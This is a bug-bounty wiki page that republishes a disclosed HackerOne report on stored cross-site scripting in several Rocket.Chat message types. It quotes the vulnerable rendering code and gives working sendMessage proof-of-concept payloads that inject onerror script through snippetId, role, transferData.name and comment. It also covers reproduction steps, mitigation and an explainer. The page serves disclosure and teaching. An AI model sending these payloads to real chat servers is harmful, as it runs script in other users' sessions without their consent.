Skip to content
XSS Disclosed report Intermediate

XSS in various MessageTypes

Several message types in Rocket.Chat rendered unsanitised fields such as snippetId, role, transferData.name and comment directly into the frontend, allowing an authenticated user to send a crafted message that executes arbitrary script in other users' clients.

gronke Follow

Originally disclosed on HackerOne

High 8.3 View original
  • Triaged in 3 days
  • Fixed in 3 months
  • Disclosed after 2.8 years

Summary

Rendering messages of various MessageTypes can lead to arbitrary script execution in the receiving frontend client.

Description

Messages in Rocket.Chat can have various types that influence the rendering as seen in app/ui-message/client/message.js#L24-L53:

JavaScript
const renderBody = (msg, settings) => {
	const searchedText = msg.searchedText ? msg.searchedText : '';
	const isSystemMessage = MessageTypes.isSystemMessage(msg);
	const messageType = MessageTypes.getType(msg) || {};

	if (messageType.render) {
		msg = messageType.render(msg);
	} else if (messageType.template) {
		// render template
	} else if (messageType.message) {
		msg.msg = escapeHTML(msg.msg);
		msg = TAPi18n.__(messageType.message, { ...typeof messageType.data === 'function' && messageType.data(msg) });
	} else if (msg.u && msg.u.username === settings.Chatops_Username) {
		msg.html = msg.msg;
		msg = renderMentions(msg);
		msg = msg.html;
	} else {
		msg = renderMessageBody(msg);
	}

	if (isSystemMessage) {
		msg.html = Markdown.parse(msg.html);
	}

	if (searchedText) {
		msg = msg.replace(new RegExp(searchedText, 'gi'), (str) => `<mark>${ str }</mark>`);
	}

	return msg;
};

These MessageTypes are registered on startup of Rocket.Chat, like in this example the Message Snippeting Feature app/message-snippet/client/messageType.js#L4-L16

JavaScript
import { MessageTypes } from '../../ui-utils';

Meteor.startup(function() {
	MessageTypes.registerType({
		id: 'message_snippeted',
		system: true,
		message: 'Snippeted_a_message',
		data(message) {
			const snippetLink = `<a href="/snippet/${ message.snippetId }/${ encodeURIComponent(message.snippetName) }">${ escapeHTML(message.snippetName) }</a>`;
			return { snippetLink };
		},
	});
});

Unlike most other MessageTypes, not the messages sanitized msg parameter is rendered, but snippetName and snippetId. The unsanitized message.snippetId leads to arbitrary script execution in the client displaying a maliciously crafted message.

JavaScript
Meteor.call("sendMessage", {
  rid: "<ROOM_ID>",
  msg: "",
  t: "message_snippeted",
  snippetId: "\"><img src=x onerror=alert(1) style=\"display: none;\" x=\"",
  snippetName: ""
}, (...args) => console.log(...args));

Another MessageTypes have been found to be affected similarly:

JavaScript
Meteor.call("sendMessage", {
  rid: "<ROOM_ID>",
  msg: "",
  t: "subscription-role-removed",
  role: "<img src=x onerror=alert(1) />"
}, (...args) => console.log(...args));
JavaScript
Meteor.call("sendMessage", {
  rid: "<ROOM_ID>",
  msg: "",
  t: "livechat_transfer_history",
  transferData: {
    scope: "agent",
    transferredTo: {
      name: "<img src=x onerror=alert(1) />"
    }
  }
}, (...args) => console.log(...args));
JavaScript
Meteor.call("sendMessage", {
  rid: "<ROOM_ID>",
  msg: "",
  t: "omnichannel_placed_chat_on_hold",
  comment: "<img src=x onerror=alert(1) />"
}, (...args) => console.log(...args));

Releases Affected:

  • 3.18.2
  • 4.0.3

Steps To Reproduce (from initial installation to vulnerability):

1.) Login to Rocket.Chat 2.) Find any Room ID (window URL path from direct messages or avatar image path from channels) 3.) Call sendMessage Meteor Method with t parameter and the affected source parameter

Suggested mitigation

  • Sanitize message parameters rendered from MessageType render or data functions

Impact

Authenticated adversaries can craft messages that exploit XSS in the displaying frontend clients.

The original report as published on HackerOne, by gronke. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

MessageType render and data functions inserted user-controlled fields into HTML without escaping or sanitising them.

Impact

An authenticated attacker could execute arbitrary script in the frontend clients of users who view the crafted message.

What the attacker needed

An authenticated account; ability to send a message to a room

The fix

Message parameters rendered from MessageType render or data functions should be sanitised.

How it was found

  1. Log in to Rocket.Chat.
  2. Find a room ID from the URL or an avatar image path.
  3. Call the sendMessage Meteor method with a message type and the affected field containing the payload.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Rocket.Chat lets users send messages of different types, and some of those types display extra fields like a snippet name or a role. The code put those fields into the page without cleaning them first, so a malicious user could include a small script that runs when someone else views the message. This is called cross-site scripting (XSS): untrusted input is treated as code by the browser.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by gronke

View all

27 more disclosed reports, best first.

More from Rocket.Chat

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.